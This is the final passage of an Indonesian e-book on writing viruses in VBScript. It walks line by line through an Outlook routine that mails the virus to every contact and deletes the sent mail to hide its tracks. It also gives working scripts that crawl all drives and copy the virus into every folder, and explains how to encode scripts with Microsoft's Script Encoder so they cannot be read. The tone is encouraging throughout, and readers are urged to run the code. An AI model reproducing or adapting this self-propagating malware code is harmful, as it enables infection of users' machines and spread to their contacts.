• Set DaftarAlamat = ObjMapi.AddressLists

Pada baris ini variabel “DaftarAlamat” diset sebagai daftar alamat objek MAPI

pada aplikasi Outlook.

• For Each Alamat In DaftarAlamat Disini script akan melakukan perulangan untuk mendapatkan setiap alamat e-

mail yang terkandung didalam variabel “DaftarAlamat”.

• If Alamat.AddressEntries.Count <> 0 Then

Blok IF pada baris ini akan melakukan pemeriksaan apakah jumlah alamat tidak

sama dengan nol (0). Jika tidak sama dengan nol (0) maka eksekusi perintah

yang berada didalam blok IF…END IF tersebut.

45

Page 48: Pemrograman Virus Menggunakan Vbscript

• JmlAlamat = Alamat.AddressEntries.Count

Mendapatkan jumlah alamat yang hasilnya ditampung pada variabel

“JmlAlamat”.

• For i = 1 To JmlAlamat

Baris ini merupakan awal blok perulangan FOR…NEXT yang akan melakukan

perulangan dari nilai satu (1) sampai sebanyak jumlah alamat yang nilainya

dikandung dalam variabel “JmlAlamat”.

• Set ObjEmailItem = ObjEmail.CreateItem(0) Baris ini berfungsi untuk mengeset variabel “ObjEmailItem” sebagai objek

email yang berfungsi untuk membuat item email baru.

• Set AlamatEmail = Alamat.AddressEntries(i)

Baris ini mengeset variabel “AlamatEmail” sebagai alamat email ke “i” yang

mana “i” merupakan nilai dari perulangan FOR…NEXT dari satu (1) sampai

dengan jumlah alamat email yang terkandung dalam variabel “JmlAlamat”.

• ObjEmailItem.To = AlamatEmail.Address Perintah pada baris ini akan mengisi alamat email tujuan (To) yang diwakilkan

dengan objek email “ObjEmailItem.To” dari daftar alamat email yang didapat

dari variabel “AlamatEmail.Address”.

• ObjEmailItem.Subject = "INI SUBJECT"

Baris ini akan mengisikan subject email ke objek email

“ObjEmailItem.Subject”. Dimana isi subject-nya adalah “INI SUBJECT”,

anda dapat menggantinya sesuai keinginan anda.

• ObjEmailItem.Body = "INI BODY E-MAIL" Sama seperti baris sebelumnya hanya saja disini kita mengeset body / pesan

dalam email, dimana isinya adalah “INI BODY E-MAIL” dan anda dapat

menggantinya sesuai dengan keinginan anda.

• Set AttachmentItem = ObjEmailItem.Attachments

Baris ini mengeset variabel “AttachmentItem” sebagai objek

“ObjEmailItem.Attachments” yang nantinya berfungsi untuk mewakili objek

attachment pada email.

46

Page 49: Pemrograman Virus Menggunakan Vbscript

• ObjEmailItem.DeleteAfterSubmit = True

Baris ini berfungsi untuk mengeset setting Outlook untuk secara otomatis

menghapus email yang sudah terkirim, maksudnya untuk menghilangkan jejak

virus yang berusaha mengirimkan email pada setiap daftar kontak di Outlook.

• AttachmentItem.Add WScript.ScriptFullName

Perintah pada baris ini berfungsi untuk menambahkan attachment email dengan

virus itu sendiri, dimana perintah “WScript.ScriptFullName”

merupakan pengalamatan path dirinya sendiri.

• If ObjEmailItem.To <> "" Then Baris ini merupakan blok pembuka IF…END IF yang akan memeriksa apakah

alamat tujuan tidak kosong, jika tidak maka eksekusi perintah yang berada

didalam blok IF…END IF tersebut.

• ObjEmailItem.Send

Kirim email, ya, pada baris ini virus akan memerintahkan Outlook untuk segera

mengirimkan email beserta dengan atachment virus.

• End If

Merupakan blok penutup IF…END IF dari “If ObjEmailItem.To <> ""

Then”.

• Next

Merupakan blok penutup perulangan FOR…NEXT dari “For I = 1 To

JmlAlamat”.

• End If

Merupakan blok penutup IF…END IF dari “If

Alamat.AddressEntries.Count <> 0 Then”.

• Next

Juga merupakan blok penutup perulangan FOR…NEXT dari “For Each

Alamat In DaftarAlamat”.

• End If

Sama, juga merupakan blok penutup IF…END IF dari “If ObjEmail =

"Outlook" Then”.

47

Page 50: Pemrograman Virus Menggunakan Vbscript

• End function

Merupakan blok penutup prosedur fungsi “Function InfeksiEmail()”.

4.5 Scan Seluruh Drive, Folder dan Sub-Folder

Pada sub-bab ini akan dijelaskan bagaimana melakukan scan terhadap seluruh drive

dan folder beserta dengan sub-folder-nya (seperti sistem scan pada antivirus).

Teknik ini dapat digunakan untuk menyebarkan virus kita keseluruh drive, folder

dan sub-folder (biar harddisk target jadi penuh dengan virus kita ☺). Ok, perhatikan

script berikut :

Dim FSO

Dim Drive, Drives, Folder, SubFolder, SubFolders

Dim objDaftar

Dim DaftarFolder

On Error Resume Next

Set FSO = CreateObject("Scripting.FileSystemObject")

Set Drives = FSO.Drives

For Each Drive in Drives

If Drive.IsReady Then

ScanFolder Drive & "\"

End If

Next

'Simpan Daftar Folder pada "C:\Daftar.txt"

Set objDaftar = FSO.CreateTextFile("C:\Daftar.txt")

objDaftar.Write DaftarFolder

objDaftar.Close

'Beri Konfirmasi Proses Selesai...

MsgBox "Proses Selesai..."

Function ScanFolder(Path)

On Error Resume Next

Set Folder = FSO.GetFolder(Path)

Set SubFolders = Folder.SubFolders

48

Page 51: Pemrograman Virus Menggunakan Vbscript

For Each SubFolder in SubFolders

DaftarFolder = DaftarFolder & SubFolder & VBCrLf

ScanFolder SubFolder.Path

Next

End Function

Script tersebut diatas akan melakukan scan terhadap setiap drive, folder dan sub-

folder yang berada pada system secara berurutan dari drive pertama sampai drive

terakhir, mendatanya dan menyimpan data daftarnya pada file “C:\Daftar.txt”.

Berikut adalah penjelasan script-nya baris-per-baris :

• Dim FSO

Baris ini merupakan deklarasi variabel bernama “FSO”.

• Dim Drive, Drives, Folder, SubFolder, SubFolders Baris ini merupakan deklarasi variabel dengan nama “Drive”, “Drives”,

“Folder”, “SubFolder”, “SubFolders”.

• Dim objDaftar

Sama seperti sebelumnya, baris ini juga merupaka deklarasi variabel dengan

nama “objDaftar”.

• Dim DaftarFolder

Juga sama, baris ini merupakan deklarasi variabel dengan nama

“DaftarFolder”.

• On Error Resume Next Perintah pada baris ini berfungsi untuk tidak menghiraukan error yang terjadi

dan jika terjadi error maka lanjutkan proses ke baris berikutnya tanpa harus

menghentikan program dan tanpa menyebabkan run-time error.

• Set FSO = CreateObject("Scripting.FileSystemObject")

Baris ini berfungsi untuk mengeset variabel “FSO” sebagai objek

“Scripting.FileSystemObject”.

49

Page 52: Pemrograman Virus Menggunakan Vbscript

• Set Drives = FSO.Drives

Baris ini berfungsi untuk mengeset variabel “Drives” sebagai objek

“FSO.Drives” yang merupakan fungsi yang dimiliki oleh objek

“Scripting.FileSystemObject” yang telah diwakilkan oleh variabel “FSO”

sebelumnya.

• For Each Drive in Drives

Baris ini merupakan awal dari blok perulangan FOR…NEXT yang berfungsi

untuk mendapatkan setiap drive yang terinstall pada sistem.

• If Drive.IsReady Then Baris ini merupakan blok pembuka IF…END IF yang berfungsi untuk

memeriksa apakah drive siap? Jika siap maka jalankan perintah yang berada

didalam blok IF…END IF tersebut.

• ScanFolder Drive & "\"

Baris ini berfungsi untuk memanggil dan menjalankan fungsi “ScanFolder”

untuk melakukan scan pada drive yang sedang aktif didalam perulangan

FOR…NEXT tersebut. Fungsi “ScanFolder” tersebut berada pada bagian

bawah script.

• End If

Merupakan blok penutup IF…END IF dari “If Drive.IsReady Then”.

• Next

Merupakan blok penutup perulangan FOR…NEXT dari “For Each Drive In

Drives”.

• Set objDaftar = FSO.CreateTextFile("C:\Daftar.txt")

Baris ini berfungsi untuk mengeset variabel “objDaftar” sebagai objek

“FSO.CreateTextFile” yang merupakan fungsi yang dimiliki oleh objek

“Scripting.FileSystemObject” yang telah diwakili oleh variabel “FSO”

sebelumnya, dan sekaligus membuat sebuah file text di “C:\” dengan nama file

“Daftar.txt”.

50

Page 53: Pemrograman Virus Menggunakan Vbscript

• objDaftar.Write DaftarFolder

Baris ini berfungsi untuk menulis ke file yang sebelumnya telah dibuat

(“C:\Daftar.txt”) dengan daftar folder yang terkandung didalam variabel

“DaftarFolder” dimana variabel tersebut diisi pada fungsi “ScanFolder”.

• objDaftar.Close

Baris ini berfungsi untuk menutup file yang tadi telah dibuat dan ditulis

(“C:\Daftar.txt”). Ingat, Setiap kali anda membuka file jangan lupa untuk

menutupnya.

• MsgBox "Proses Selesai..." Perintah pada baris ini berfungsi untuk menampilkan messagebox sebagai

konfirmasi bahwa script telah selesai dijalankan. Ya, baris ini memang bukan

merupakan baris terakhir pada script akan tetapi baris inilah yang akan

dieksekusi paling terakhir oleh interpreter.

• Function ScanFolder(Path)

Baris ini merupakan blok pembuka fungsi “ScanFolder”. Fungsi ini memiliki

sebuah parameter atau argumen yaitu “Path”, argumen “Path” tersebut

digunakan untuk melewatkan path drive yang akan di-scan folder-nya, misalnya

“C:\” jadi anda dapat memanggil fungsi “ScanFolder” dengan “ScanFolder

"C:\"”.

• On Error Resume Next

Perintah pada baris ini berfungsi untuk tidak menghiraukan error yang terjadi

dan jika terjadi error maka lanjutkan proses ke baris berikutnya tanpa harus

menghentikan program dan tanpa menyebabkan run-time error.

• Set Folder = FSO.GetFolder(Path)

Baris ini berfungsi untuk mengeset variabel “Folder” sebagai objek

“FSO.GetFolder” yang merupakan fungsi yang dimiliki oleh objek

“Scripting.FileSystemObject” yang sebelumnya telah diwakili oleh variabel

“FSO”.

51

Page 54: Pemrograman Virus Menggunakan Vbscript

• Set SubFolders = Folder.SubFolders

Baris ini berfungsi untuk mengeset variabel “SubFolder” sebagai objek

“Folder.SubFolders” yang merupakan hasil perwakilan dari “FSO.GetFolder”

dari baris sebelumnya.

• For Each SubFolder in SubFolders

Baris ini merupakan awal blok perulangan FOR…NEXT yang berfungsi untuk

mendapatkan daftar folder beserta sub-folder-nya.

• DaftarFolder = DaftarFolder & SubFolder & VBCrLf Baris ini berfungsi untuk menyimpan seluruh daftar folder ke dalam variabel

“DaftarFolder”. Perintah “VBCrLf” pada baris ini memiliki tujuan yang sama

dengan karakter ENTER (untuk pindah ke baris berikutnya).

• ScanFolder SubFolder.Path

Baris ini berfungsi untuk memanggil fungsi “ScanFolder” untuk melakukan

scan terhadap sub-folder. Dengan kata lain memanggil dan memerintahkan

dirinya sendiri (fungsi tersebut sendiri).

• Next

Baris ini meripakan blok penutup FOR…NEXT dari “For Each SubFolder In

SubFolders”.

• End Function Baris ini merupakan blok penutup fungsi “ScanFolder”.

Selanjutnya simpan script tersebut lalu jalankan dan tunggu sampai muncul

tampilan messagebox yang bertuliskan “Proses Selesai…” dan setelah itu coba lihat

pada drive C:\ akan terdapat sebuah file yang bernama “Daftar.txt” yang jika dibuka

akan berisi seluruh daftar folder dan sub-folder yang terdapat pada komputer anda.

Kerenkan… ☺.

Gambar 4.6: Messagebox Konfirmasi Proses Selesai

52

Page 55: Pemrograman Virus Menggunakan Vbscript

Gambar 4.7: Daftar Folder pada File Daftar.txt

4.6 Infeksi Masal (Infeksi Seluruh Drive, Folder dan Sub-Folder)

Pada sub-bab sebelumnya telah dibahas mengenai cara scan seluruh drive, folder

dan sub-folder, pada sub-bab ini pembahasan tersebut akan dikembangkan sehingga

kita dapat membuat virus yang dapat meng-copy-kan dirinya sendiri ke seluruh

drive, folder dan sub-folder yang berada didalam sistem komputer tersebut.

Algoritmanya adalah sebagai berikut : virus dapat meng-copy-kan dirinya sendiri ke

dalam folder dan sub-folder yang berada diseluruh drive dengan nama file yang

sama dengan nama folder tempat virus tersebut akan di-copy-kan. Script yang

digunakan adalah script yang telah dibahas pada sub-bab sebelumnya hanya saja

ditambahkan sedikit modifikasi. Script yang tercetak dengan warna MERAH

adalah script tambahan ataupun modifikasi, berikut adalah scriptnya :

Dim FSO

Dim Drive, Drives, Folder, SubFolder, SubFolders

On Error Resume Next

Set FSO = CreateObject("Scripting.FileSystemObject")

Set Drives = FSO.Drives

For Each Drive in Drives

53

Page 56: Pemrograman Virus Menggunakan Vbscript

If Drive.IsReady Then

ScanFolder Drive & "\"

End If

Next

ScanFolder "C:\"

'Beri Konfirmasi Proses Selesai...

MsgBox "Proses Selesai..."

Function ScanFolder(Path)

Dim strNamaFolder

On Error Resume Next

Set Folder = FSO.GetFolder(Path)

Set SubFolders = Folder.SubFolders

For Each SubFolder in SubFolders

strNamaFolder = SubFolder

CopyVirus strNamaFolder

ScanFolder SubFolder.Path

Next

End Function

Function CopyVirus(TargetPath)

Dim strPath

On Error Resume Next

strPath = TargetPath

If Right(strPath, 1) <> "\" Then

strPath = strPath & "\"

End If

If Not FSO.FileExists(strPath & NamaFolder(TargetPath) & ".vbs")

Then

54

Page 57: Pemrograman Virus Menggunakan Vbscript

FSO.CopyFile WScript.ScriptFullName, strPath &

NamaFolder(TargetPath) & ".vbs", TRUE

End If

End Function

Function NamaFolder(TargetFolder)

Dim i

On Error Resume Next

'Hilangkan Tanda BackSlash (\) Pada Nama Folder

If Right(TargetFolder, 1) = "\" Then

TargetFolder = Left(TargetFolder, Len(TargetFolder) - 1)

End If

'Jangan Proses Jika Merupakan Root Drive

If Len(TargetFolder) <= 3 Then

NamaFolder = ""

Exit Function

End If

'Jangan Proses Jika Tidak Memiliki Tanda BackSlash

If InStr(TargetFolder, "\") = 0 Then

NamaFolder = ""

Exit Function

End If

'Dapatkan Nama Folder

For i = 0 to Len(TargetFolder)

If Mid(TargetFolder, Len(TargetFolder) - i, 1) = "\" Then

Exit For

End If

Next

NamaFolder = Right(TargetFolder, i)

End Function

55

Page 58: Pemrograman Virus Menggunakan Vbscript

Nah… Loh… Panjang banget script-nya… Pokonya perhatikan saja script yang

dicetak dengan warna MERAH, karena script yang dicetak dengan warna BIRU

sudah dibahas pada sub-bab sebelumnya. Untuk lebih memahami algoritma dari

script tersebut coba saja anda copy-kan script tersebut pada notepad dan anda

simpan sebagai file *.vbs lalu anda jalankan, setelah itu periksa setiap folder dan

sub-folder yang terdapat pada harddisk anda.

Ok, mulai bagian ini sampai akhir saya tidak akan memberikan penjelasan seperti

pada script-script sebelumnya, soalnya capek banget sih ☺.

4.7 VBE, File VBScript yang Ter-Encode (Terenkripsi / Tersandi)

Pada bab terdahulu telah dijelaskan mengenai program enkripsi yang bernama

KAVEE (Kefi’s VBS Encryption Engine). Dengan program ini anda dapat dengan

mudah mengenkripsi file-file script VBScript anda sehingga tidak dapat terbaca.

Algoritma yang diterapkan dalam enkripsi tersebut serupa dengan algoritma

enkripsi-enkripsi lainnya yang umum digunakan dalam mengenkrpsi script virus,

seperti virus vbs.redlof misalnya.

Namun model enkripsi tersebut memiliki kelemahan yang menyebabkan orang lain

dapat membaca script yang telah kita buat dan kita enkripsi tersebut. Hal tersebut

dapat terjadi dikarenakan pada script yang sama juga telah terdapat fungsi encoder /

decryptor-nya. Sebagai contoh, misalnya anda menuliskan script sebagai berikut :

MsgBox "Percobaan Enkripsi...", VBInformation, "Informasi"

Dan anda enkripsi menggunakan program KAVEE sehingga (kurang lebih) script

akan tampak seperti berikut :

vhJt = ARrAy( 96 , _

134 , 122 , 85 , 130 , _

139 , 51 , 53 , 99 , 120 ,

133 , 118 , 130 , 117 , 116 , _

56

Page 59: Pemrograman Virus Menggunakan Vbscript

Script Terlalu Panjang, Dipotong

FoR Each Fopuf In vhJt

kPaG = kPaG & chr(Fopuf - 19)

neXt

ExECuTe kPaG

Script diatas merupakan script hasil enkripsi yang dilakukan dengan menggunakan

program KAVEE (tidak ditampilkan semua) dan perhatikan pada bagian script yang

tercetak dengan warna MERAH. Script yang tercetak dengan warna MERAH

tersebut merupakan decryptor yang berfungsi untuk menerjemahkan bagian script

yang terenkripsi sehingga dapat dieksekusi.

Mungkin anda bertanya-tanya apa pengaruhnya dan apa yang salah serta dimana

salahnya??? Ceritanya begini, saya mempunyai teman yang bernama Mario yang

tinggal di Wisma Asri Bekasi. Dia terobsesi dengan buku terbitan Jasakom dan

salah satu buku yang dia baca adalah “Pemrograman Virus dan Spyware”

(http://www.jasakom.com/penerbitan) yang juga terbitan Jasakom. Pada buku

tersebut dijelaskan bagaimana cara membaca script yang menggunakan teknik

enkripsi seperti diatas yaitu dengan mengganti perintah “Execute” (yang terdapat

pada baris terakhir dari contoh script diatas) dengan perintah “MsgBox” dan

jalankan script tersebut lalu… ya script tersebut dapat dibaca dan teman saya yang

bernama Mario tadi bangga merasa sudah berhasil memecahkan enkripsi tersebut.

Namun saya terus berkata: “Itu sih model enkripsi anak TK jadi gampang di-crack,

coba lho crack model enkripsi anak SD bikinan gue…”. Terus saya membuat

sebuah script yang sama seperti pada contoh diatas dan saya enkripsi dengan

menggunakan program Script Encoder buatan Microsoft yang hasilnya seperti

berikut :

#@~^OgAAAA==\ko$K6,Jn�D1G4mlUPAxV.bw/b RcJ~,#$q

0KDhlOrKxSPr(x6W.hm/kE0BMAAA==^#~@

57

Page 60: Pemrograman Virus Menggunakan Vbscript

Lalu saya suruh teman saya yang bernama Mario tadi untuk memecahkan enkripsi

tersebut. Apa yang terjadi, dia Cuma “pelengah-pelengoh” kaya orang bego yang

jadi tambah bego…

Cara membuat enkripsi tersebut adalah dengan menggunakan program yang

bernama Script Encoder yang dapat di-download dari website Microsoft. Program

tersebut tidak hanya dapat mengenkripsi script-script VBScript akan tetapi juga

mampu untuk mengenkripsi script-script ASP, Jscript, dan JavaScript. Namun yang

akan dibahas disini adalah bagaimana melakukan enkripsi script VBScript yang

terdapat pada file *.vbs menjadi script VBScript yang terenkripsi dengan file *.vbe.

Syarat utama yang harus diperhatikan adalah kita akan mengubah file *.vbs menjadi

file *.vbe yang berisi script yang telah terenkripsi. File hasil enkripsi harus memiliki

ekstensi *.vbe agar dapat berjalan, jika tidak script tidak akan berjalan.

Jika anda telah men-download program Script Encoder maka seharusnya anda

akan memiliki sebuah file yang bernama “screnc.exe”. file tersebutlah yang akan

digunakan untuk melakukan enkripsi dan berikut adalah sintaks penggunaannya :

Screnc.exe –l vbscript [file_sumber.vbs] [file_hasil_enkripsi.vbe]

Dari sintaks tersebut, file_sumber.vbs adalah nama file yang ingin dienkripsi dan

file_hasil_enkripsi.vbe adalah nama file output yang akan dihasilkan yang berisi

script yang telah terenkripsi dan diasumsikan kedua file tersebut berada pada folder

yang sama dengan program screnc.exe. Berikut adalah caranya :

Cara Pertama :

1. Masuk ke DOS Prompt dan pindah directory ketempat dimana file “screnc.exe”

berada.

2. Ketikan perintah berikut : screnc –l vbscript file1.vbs file2.vbe

58

Page 61: Pemrograman Virus Menggunakan Vbscript

Cara Kedua :

1. Klik menu “Start > Run” sehingga tampil dialogbox “Run”.

2. Dengan asumsi file screnc.exe dan file script berada pada root drive C:\, ketikan

perintah berikut : c:\screnc.exe -l vbscript coba.vbs coba2.vbe

59

Page 62: Pemrograman Virus Menggunakan Vbscript

PENUTUP

Ok, akhirnya sampailah kita pada akhir pembahasan pada e-book ini. Sebenarnya masih

banyak lagi yang ingin penulis sampaikan dalam e-book ini, namun dikarenakan

keterbatasan waktu serta kesibukan penulis sebagai programmer yang banyak menyita

waktu, hal tersebut tidak dapat dilakukan. Mudah-mudahan dilain waktu pembahasan ini

dapat dilanjutkan lagi sampai dengan selesai.

Akhir kata, penulis ingin meminta maaf jika terdapat kata-kata dan tulisan yang kurang

berkenan dihati para pembaca sekalian, dan khususnya untuk teman saya Mario yang

sering saya sebutkan dalam e-book ini, sorry banget, tapikan memang kenyataannya kaya

gitu ☺.

Terakhir, selamat mencoba, tetap semangat belajar, tetap rendah diri, jangan pelit dengan

ilmu, dan jangan pernah takut untuk mencoba serta jangan pernah takut untuk gagal.

Salam dari Solo, Jawa Tengah,

Penulis,

Wahyu Primadi, S.Kom, S.Met

(Penguasa Distrik Solo)

60

Page 63: Pemrograman Virus Menggunakan Vbscript

DAFTAR PUSTAKA / REFERENSI

1. [K] Website & Article, [K]alamar, http://www.virii.com.ar, Virii Argentina

2003.

2. The Little Black Book of Computer Viruses, Mark A. Ludwig, American Eagle

Publications Inc, ISBN 0-929408-02-0, 22/02/1996.

3. Windows Script Documentation,

http://www.microsoft.com/downloads/details.aspx?FamilyId=01592C48-207D-

4BE1-8A76-1C4099D7BBB9&displaylang=en, Microsoft Corporation, [LAST

UPDATE].

4. Windows Scripting Technologies, http://msdn.microsoft.com/scripting,

Microsoft Corporation, [LAST UPDATE].

5. Understanding The Windows Scripting Host, Julian Moss, PC Support

Advisor, June 1998.

6. Microsoft Script Engines Documentation,

http://www.microsoft.com/scripting/start.htm, Microsoft Corporation.

7. Understanding The Registry, Mike Lewis, PC Support Advisor, May 1999.

8. Windows Registry Guide, http://www.winguides.com, WinGuides, 2002.

61